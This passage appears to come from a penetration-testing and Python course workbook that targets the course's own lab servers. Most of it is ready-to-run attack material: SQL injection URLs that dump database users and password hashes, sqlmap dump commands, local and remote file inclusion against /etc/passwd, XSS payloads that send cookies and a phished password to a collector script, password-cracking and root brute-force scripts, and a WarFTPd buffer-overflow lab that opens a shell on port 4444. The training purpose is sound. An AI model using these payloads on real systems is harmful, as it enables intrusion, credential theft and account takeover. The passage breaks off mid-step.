2761----------------------------------------------------------------------
2762
2763Output:
2764[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
2765
2766
2767
2768You can read html file using library urllib2 (see below code).
2769
2770
2771Code
2772---------------------------Type This-----------------------------------
2773
2774import urllib2
2775response = urllib2.urlopen('')
2776html = response.read()
2777----------------------------------------------------------------------
2778NOTE: You can put any website URL that you want in the urllib2.urlopen('')
2779
2780
2781
2782
2783##################################
2784# Day 2 Homework videos to watch #
2785##################################
2786Here is your first set of youtube videos that I'd like for you to watch:
2787https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798 ###############################################################
2799----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
2800 ###############################################################
2801
2802##################################
2803# Basic: Web Application Testing #
2804##################################
2805
2806Most people are going to tell you reference the OWASP Testing guide.
2807https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
2808
2809I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
2810
2811
2812The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
2813
2814 1. Does the website talk to a DB?
2815 - Look for parameter passing (ex: site.com/page.php?id=4)
2816 - If yes - try SQL Injection
2817
2818 2. Can I or someone else see what I type?
2819 - If yes - try XSS
2820
2821 3. Does the page reference a file?
2822 - If yes - try LFI/RFI
2823
2824Let's start with some manual testing against 45.63.104.73
2825
2826
2827#######################
2828# Attacking PHP/MySQL #
2829#######################
2830
2831Go to LAMP Target homepage
2832http://45.63.104.73/
2833
2834
2835
2836Clicking on the Acer Link:
2837http://45.63.104.73/acre2.php?lap=acer
2838
2839 - Found parameter passing (answer yes to question 1)
2840 - Insert ' to test for SQLI
2841
2842---------------------------Type This-----------------------------------
2843
2844http://45.63.104.73/acre2.php?lap=acer'
2845
2846-----------------------------------------------------------------------
2847
2848Page returns the following error:
2849You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
2850
2851
2852
2853In order to perform union-based sql injection - we must first determine the number of columns in this query.
2854We do this using the ORDER BY
2855
2856---------------------------Type This-----------------------------------
2857
2858http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
2859-----------------------------------------------------------------------
2860
2861Page returns the following error:
2862Unknown column '100' in 'order clause'
2863
2864
2865---------------------------Type This-----------------------------------
2866
2867http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
2868-----------------------------------------------------------------------
2869
2870Page returns the following error:
2871Unknown column '50' in 'order clause'
2872
2873
2874---------------------------Type This-----------------------------------
2875
2876http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
2877-----------------------------------------------------------------------
2878
2879Page returns the following error:
2880Unknown column '25' in 'order clause'
2881
2882
2883---------------------------Type This-----------------------------------
2884
2885http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
2886-----------------------------------------------------------------------
2887
2888Page returns the following error:
2889Unknown column '12' in 'order clause'
2890
2891
2892---------------------------Type This-----------------------------------
2893
2894http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
2895-----------------------------------------------------------------------
2896
2897---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
2898
2899
2900
2901Now we build out the union all select statement with the correct number of columns
2902
2903Reference:
2904http://www.techonthenet.com/sql/union.php
2905
2906
2907---------------------------Type This-----------------------------------
2908
2909http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
2910-----------------------------------------------------------------------
2911
2912
2913
2914Now we negate the parameter value 'acer' by turning into the word 'null':
2915---------------------------Type This-----------------------------------
2916
2917http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
2918-----------------------------------------------------------------------
2919
2920We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
2921
2922
2923Use a cheat sheet for syntax:
2924http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
2925
2926---------------------------Type This-----------------------------------
2927
2928http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
2929
2930http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
2931
2932http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
2933
2934http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
2935
2936
2937http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
2938
2939-----------------------------------------------------------------------
2940
2941
2942
2943########################
2944# Question I get a lot #
2945########################
2946Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
2947
2948Here is a good reference for it:
2949https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
2950
2951Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
2952
2953
2954
2955
2956#########################
2957# File Handling Attacks #
2958#########################
2959
2960Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
2961
2962---------------------------Type This-----------------------------------
2963
2964http://45.63.104.73/showfile.php?filename=about.txt
2965
2966-----------------------------------------------------------------------
2967
2968
2969See if you can read files on the file system:
2970---------------------------Type This-----------------------------------
2971
2972http://45.63.104.73/showfile.php?filename=/etc/passwd
2973-----------------------------------------------------------------------
2974
2975We call this attack a Local File Include or LFI.
2976
2977Now let's find some text out on the internet somewhere:
2978https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
2979
2980
2981Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
2982
2983---------------------------Type This-----------------------------------
2984
2985http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
2986 -----------------------------------------------------------------------
2987
2988#########################################################################################
2989# SQL Injection #
2990# http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
2991#########################################################################################
2992
2993
2994- Another quick way to test for SQLI is to remove the paramter value
2995
2996
2997#############################
2998# Error-Based SQL Injection #
2999#############################
3000---------------------------Type This-----------------------------------
3001
3002http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
3003http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
3004http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
3005http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
3006http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
3007http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
3008http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
3009http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
3010http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
3011
3012-----------------------------------------------------------------------
3013
3014
3015
3016#############################
3017# Union-Based SQL Injection #
3018#############################
3019
3020---------------------------Type This-----------------------------------
3021
3022http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
3023http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
3024http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
3025http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
3026http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
3027http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
3028http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
3029http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
3030http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
3031http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
3032-----------------------------------------------------------------------
3033
3034 We are using a union select statement because we are joining the developer's query with one of our own.
3035 Reference:
3036 http://www.techonthenet.com/sql/union.php
3037 The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
3038 It removes duplicate rows between the various SELECT statements.
3039
3040 Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
3041
3042---------------------------Type This-----------------------------------
3043
3044http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
3045-----------------------------------------------------------------------
3046
3047 Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
3048
3049---------------------------Type This-----------------------------------
3050
3051http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
3052http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
3053http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
3054http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
3055
3056 -----------------------------------------------------------------------
3057
3058
3059
3060
3061- Another way is to see if you can get the backend to perform an arithmetic function
3062
3063---------------------------Type This-----------------------------------
3064
3065http://45.77.162.239/bookdetail.aspx?id=(2)
3066http://45.77.162.239/bookdetail.aspx?id=(4-2)
3067http://45.77.162.239/bookdetail.aspx?id=(4-1)
3068
3069
3070
3071http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
3072http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
3073http://45.77.162.239/bookdetail.aspx?id=1*1
3074http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
3075http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
3076http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
3077http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
3078http://45.77.162.239/bookdetail.aspx?id=2 &0#
3079
3080
3081
3082http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
3083http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
3084http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
3085http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
3086
3087 -----------------------------------------------------------------------
3088
3089
3090###############################
3091# Blind SQL Injection Testing #
3092###############################
3093Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
3094
30953 - Total Characters
3096---------------------------Type This-----------------------------------
3097
3098http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
3099http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
3100http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
3101 -----------------------------------------------------------------------
3102
3103Let's go for a quick check to see if it's DBO
3104
3105---------------------------Type This-----------------------------------
3106
3107http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
3108 -----------------------------------------------------------------------
3109
3110Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
3111
3112 ---------------------------Type This-----------------------------------
3113
3114D - 1st Character
3115http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
3116http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
3117http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
3118http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
3119
3120B - 2nd Character
3121http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3122http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3123
3124O - 3rd Character
3125http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3126http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
3127http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3128http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3129http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
3130http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
3131http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3132
3133 -----------------------------------------------------------------------
3134
3135
3136
3137
3138 ####File not Found
3139 ##########
3140# Sqlmap #
3141##########
3142If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
3143
3144 ---------------------------Type This-----------------------------------
3145
3146cd /home/strategicsec/toolz/sqlmap-dev/
3147python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
3148python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
3149python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
3150python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
3151python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
3152python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
3153python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
3154python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
3155python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
3156python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
3157
3158 -----------------------------------------------------------------------
3159
3160###############################################################################
3161# What is XSS #
3162# http://45.63.104.73/2-Intro_To_XSS.pptx #
3163###############################################################################
3164
3165OK - what is Cross Site Scripting (XSS)
3166
31671. Use Firefox to browse to the following location:
3168---------------------------Type This-----------------------------------
3169
3170 http://45.63.104.73/xss_practice/
3171 -----------------------------------------------------------------------
3172
3173 A really simple search page that is vulnerable should come up.
3174
3175
3176
3177
31782. In the search box type:
3179---------------------------Type This-----------------------------------
3180
3181 <script>alert('So this is XSS')</script>
3182-----------------------------------------------------------------------
3183
3184
3185 This should pop-up an alert window with your message in it proving XSS is in fact possible.
3186 Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
3187
3188
31893. In the search box type:
3190---------------------------Type This-----------------------------------
3191
3192 <script>alert(document.cookie)</script>
3193-----------------------------------------------------------------------
3194
3195
3196 This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
3197 Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
3198
31994. Now replace that alert script with:
3200---------------------------Type This-----------------------------------
3201
3202 <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
3203-----------------------------------------------------------------------
3204
3205
3206This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
3207
3208
32095. Now view the stolen cookie at:
3210---------------------------Type This-----------------------------------
3211
3212 http://45.63.104.73/xss_practice/cookie_stealer_logs.html
3213-----------------------------------------------------------------------
3214
3215
3216The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
3217
3218
3219
3220
3221
3222
3223############################
3224# A Better Way To Demo XSS #
3225############################
3226
3227
3228Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
3229
3230
3231Use Firefox to browse to the following location:
3232---------------------------Type This-----------------------------------
3233
3234 http://45.63.104.73/xss_practice/
3235-----------------------------------------------------------------------
3236
3237
3238
3239Paste this in the search box
3240----------------------------
3241
3242
3243---------------------------Type This-----------------------------------
3244
3245<script>
3246password=prompt('Your session is expired. Please enter your password to continue',' ');
3247document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
3248</script>
3249-----------------------------------------------------------------------
3250
3251
3252Now view the stolen cookie at:
3253---------------------------Type This-----------------------------------
3254
3255 http://45.63.104.73/xss_practice/passwords.html
3256
3257-----------------------------------------------------------------------
3258
3259
3260
3261
3262#################################################
3263# Lesson 25: Python Functions & String Handling #
3264#################################################
3265
3266Python can make use of functions:
3267http://www.tutorialspoint.com/python/python_functions.htm
3268
3269
3270
3271Python can interact with the 'crypt' function used to create Unix passwords:
3272http://docs.python.org/2/library/crypt.html
3273
3274
3275
3276Tonight we will see a lot of the split() method so be sure to keep the following references close by:
3277http://www.tutorialspoint.com/python/string_split.htm
3278
3279
3280Tonight we will see a lot of slicing so be sure to keep the following references close by:
3281http://techearth.net/python/index.php5?title=Python:Basics:Slices
3282
3283
3284---------------------------Type This-----------------------------------
3285vi LFI-RFI.py
3286
3287
3288---------------------------Paste This-----------------------------------
3289
3290
3291
3292#!/usr/bin/env python
3293print("\n### PHP LFI/RFI Detector ###")
3294
3295import urllib.request, urllib.error, urllib.parse,re,sys
3296
3297TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
3298RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
3299TravLimit = 12
3300
3301print("==> Testing for LFI vulns..")
3302TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
3303for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
3304 TARGET += "../"
3305 try:
3306 source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
3307 except urllib.error.URLError as e:
3308 print("$$$ We had an Error:",e)
3309 sys.exit(0)
3310 if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
3311 print("!! ==> LFI Found:",TARGET+"etc/passwd")
3312 break ## BREAK LOOP WHEN VULN FOUND
3313
3314print("\n==> Testing for RFI vulns..")
3315TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
3316try:
3317 source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
3318except urllib.error.URLError as e:
3319 print("$$$ We had an Error:",e)
3320 sys.exit(0)
3321if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
3322 print("!! => RFI Found:",TARGET)
3323
3324print("\nScan Complete\n") ## DONE
3325
3326
3327
3328
3329-----------------------------------------------------------------------
3330
3331
3332-----------------------------------------------------------------------
3333
3334
3335################################
3336# Lesson 26: Password Cracking #
3337################################
3338
3339---------------------------Type This-----------------------------------
3340
3341wget http://45.63.104.73/htcrack.py
3342
3343vi htcrack.py
3344
3345
3346---------------------------Paste This-----------------------------------
3347#!/usr/bin/env python
3348
3349import crypt, sys
3350
3351if len(sys.argv) != 3:
3352 print("Usage: ./htcrack.py <password> <wordlist>")
3353 print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]");
3354 sys.exit(1)
3355
3356pw = sys.argv[1].split(":",1)
3357try:
3358 words = open(sys.argv[2], "r")
3359except(IOError):
3360 print("Error: Check your wordlist path\n")
3361 sys.exit(1)
3362wds = words.readlines()
3363print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-")
3364print(" - http://darkcode.ath.cx -")
3365print("\n",len(wds),"words loaded...")
3366for w in wds:
3367 if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]:
3368 print("\nCracked:",pw[0]+":"+w,"\n")
3369
3370
3371---------------------------Type This-----------------------------------
3372vi list.txt
3373
3374---------------------------Paste This-----------------------------------
3375
3376hello
3377goodbye
3378red
3379blue
3380yourname
3381tim
3382bob
3383
3384-----------------------------------------------------------------------
3385
3386---------------------------Type This-----------------------------------
3387
3388htpasswd -nd yourname
3389 - enter yourname as the password
3390
3391
3392
3393python htcrack.py joe:7XsJIbCFzqg/o list.txt
3394
3395
3396
3397
3398sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
3399
3400rm -rf mechanize-0.2.5.tar.gz
3401
3402sudo /bin/bash
3403
3404passwd
3405 ***set root password***
3406
3407
3408
3409---------------------------Type This-----------------------------------
3410
3411vi rootbrute.py
3412
3413---------------------------Paste This-----------------------------------
3414
3415
3416#!/usr/bin/env python
3417
3418import sys
3419try:
3420 import pexpect
3421except(ImportError):
3422 print("\nYou need the pexpect module.")
3423 print("http://www.noah.org/wiki/Pexpect\n")
3424 sys.exit(1)
3425
3426#Change this if needed.
3427# LOGIN_ERROR = 'su: incorrect password'
3428LOGIN_ERROR = "su: Authentication failure"
3429
3430def brute(word):
3431 print("Trying:",word)
3432 child = pexpect.spawn('/bin/su')
3433 child.expect('Password: ')
3434 child.sendline(word)
3435 i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
3436 if i == 1:
3437 print("Incorrect Password")
3438
3439 if i == 2:
3440 print("\n\t[!] Root Password:" ,word)
3441 child.sendline ('id')
3442 print(child.before)
3443 child.interact()
3444
3445if len(sys.argv) != 2:
3446 print("\nUsage : ./rootbrute.py <wordlist>")
3447 print("Eg: ./rootbrute.py words.txt\n")
3448 sys.exit(1)
3449
3450try:
3451 words = open(sys.argv[1], "r").readlines()
3452except(IOError):
3453 print("\nError: Check your wordlist path\n")
3454 sys.exit(1)
3455
3456print("\n[+] Loaded:",len(words),"words")
3457print("[+] BruteForcing...\n")
3458for word in words:
3459 brute(word.replace("\n",""))
3460
3461
3462-----------------------------------------------------------------------
3463
3464
3465References you might find helpful:
3466http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
3467
3468
3469
3470
3471
3472
3473
3474---------------------------Type This-----------------------------------
3475it does not work in python 3 we must change the module
3476
3477wget http://45.63.104.73/md5crack.py
3478
3479vi md5crack.py
3480
3481#!/usr/bin/env python
3482
3483import md5hash, base64, sys
3484
3485if len(sys.argv) != 3:
3486 print("Usage: ./md5crack.py <hash> <wordlist>")
3487 sys.exit(1)
3488
3489pw = sys.argv[1]
3490wordlist = sys.argv[2]
3491try:
3492 words = open(wordlist, "r")
3493except(IOError):
3494 print("Error: Check your wordlist path\n")
3495 sys.exit(1)
3496words = words.readlines()
3497print("\n",len(words),"words loaded...")
3498hashes = {}
3499for word in words:
3500 hash = md5.new()
3501 hash.update(word[:-1])
3502 value = hash.hexdigest()
3503 hashes[word[:-1]] = value
3504for (key, value) in list(hashes.items()):
3505 if pw == value:
3506 print("Password is:",key,"\n")
3507
3508-----------------------------------------------------------------------
3509
3510
3511
3512
3513Why use hexdigest
3514http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
3515
3516
3517
3518
3519http://md5online.net/
3520
3521
3522
3523---------------------------Type This-----------------------------------
3524
3525
3526wget http://45.63.104.73/wpbruteforcer.py
3527
3528
3529-----------------------------------------------------------------------
3530
3531
3532
3533#############
3534# Functions #
3535#############
3536
3537
3538***********************
3539* What are Functions? *
3540***********************
3541
3542
3543Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
3544
3545How do you write functions in Python?
3546
3547Python makes use of blocks.
3548
3549A block is a area of code of written in the format of:
3550
3551 block_head:
3552
3553 1st block line
3554
3555 2nd block line
3556
3557 ...
3558
3559
3560Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
3561
3562Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
3563
3564def my_function():
3565 print("Hello From My Function!")
3566
3567
3568Functions may also receive arguments (variables passed from the caller to the function). For example:
3569
3570def my_function_with_args(username, greeting):
3571 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
3572
3573
3574Functions may return a value to the caller, using the keyword- 'return' . For example:
3575
3576def sum_two_numbers(a, b):
3577 return a + b
3578
3579
3580****************************************
3581* How do you call functions in Python? *
3582****************************************
3583
3584Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
3585
3586# Define our 3 functions
3587---------------------------Paste This-----------------------------------
3588
3589def my_function():
3590 print("Hello From My Function!")
3591
3592def my_function_with_args(username, greeting):
3593 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
3594
3595def sum_two_numbers(a, b):
3596 return a + b
3597
3598# print(a simple greeting)
3599my_function()
3600
3601#prints - "Hello, Joe, From My Function!, I wish you a great year!"
3602my_function_with_args("Joe", "a great year!")
3603
3604# after this line x will hold the value 3!
3605x = sum_two_numbers(1,2)
3606-----------------------------------------------------------------------
3607
3608
3609************
3610* Exercise *
3611************
3612
3613In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
3614
3615Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
3616
3617Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
3618
3619Run and see all the functions work together!
3620
3621
3622---------------------------Paste This-----------------------------------
3623
3624# Modify this function to return a list of strings as defined above
3625def list_benefits():
3626 pass
3627
3628# Modify this function to concatenate to each benefit - " is a benefit of functions!"
3629def build_sentence(benefit):
3630 pass
3631
3632def name_the_benefits_of_functions():
3633 list_of_benefits = list_benefits()
3634 for benefit in list_of_benefits:
3635 print(build_sentence(benefit))
3636
3637name_the_benefits_of_functions()
3638
3639
3640-----------------------------------------------------------------------
3641
3642
3643
3644Broken link
3645
3646Please download this file to your Windows host machine, and extract it to your Desktop.
3647http://45.63.104.73/ED-Workshop-Files.zip
3648
3649
3650
3651
3652
3653###########################
3654# Lab 1a: Stack Overflows #
3655###########################
3656
3657 #############################
3658 # Start WarFTPd #
3659 # Start WinDBG #
3660 # Press F6 #
3661 # Attach to war-ftpd.exe #
3662 #############################
3663---------------------------Type This-----------------------------------
3664
3665cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
3666
3667
3668python warftpd1.py | nc XPSP3-ED-Target-IP 21
3669
3670
3671 At WINDBG prompt
3672 “r” to show registers or “alt+4”
3673 dd esp
3674
3675-----------------------------------------------------------------------
3676---------------------------Type This-----------------------------------
3677
3678python warftpd2.py | nc XPSP3-ED-Target-IP 21
3679
3680
3681 At WINDBG prompt
3682 “r” to show registers or “alt+4”
3683 dd esp
3684-----------------------------------------------------------------------
3685
3686 Eip: 32714131
3687 esp: affd58 (71413471)
3688
3689 Now we need to SSH into the StrategicSec Ubuntu host
3690 ---------------------------Type This-----------------------------------
3691
3692 cd /home/strategicsec/toolz/metasploit/tools/exploit
3693
3694 ruby pattern_offset.rb 32714131
3695 485
3696
3697 ruby pattern_offset.rb 71413471
3698 493
3699-----------------------------------------------------------------------
3700
3701 Distance to EIP is: 485
3702 Relative position of ESP is: 493
3703
3704 RET – POP EIP
3705 RET 4 – POP EIP and shift ESP down by 4 bytes
3706 ---------------------------Type This-----------------------------------
3707
3708 cd /home/strategicsec/toolz/metasploit/
3709 ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
3710 -----------------------------------------------------------------------
3711
3712 0x7c9c167d push esp; retn 0x304d
3713 0x7c9d30d7 jmp esp < - how about we use this one
3714 0x7c9d30eb jmp esp
3715 0x7c9d30ff jmp esp
3716
3717
3718 warftpd3.py with Notepad++
3719 Fill in the appropriate values
3720 Distance to EIP
3721 Address of JMP ESP
3722
3723
3724 ---------------------------Type This-----------------------------------
3725
3726python warftpd3.py | nc XPSP3-ED-Target-IP 21
3727
3728 0:003> dd eip
3729 0:003> dd esp
3730
3731 -----------------------------------------------------------------------
3732
3733
3734
3735
3736 Mention bad characters
3737 No debugger
3738
3739 ---------------------------Type This-----------------------------------
3740
3741
3742python warftpd4.py | nc XPSP3-ED-Target-IP 21
3743
3744nc XPSP3-ED-Target-IP 4444
3745
3746 -----------------------------------------------------------------------
3747
3748
3749
3750
3751There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
3752
3753Shellcode test 1: Calculate space for shellcode
3754Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
3755
3756
3757
3758
3759
3760Shellcode test 2: Identify bad characters
3761
3762Replace the INT3 (cc) dummy shellcode with this string:
3763 ---------------------------Type This-----------------------------------
3764
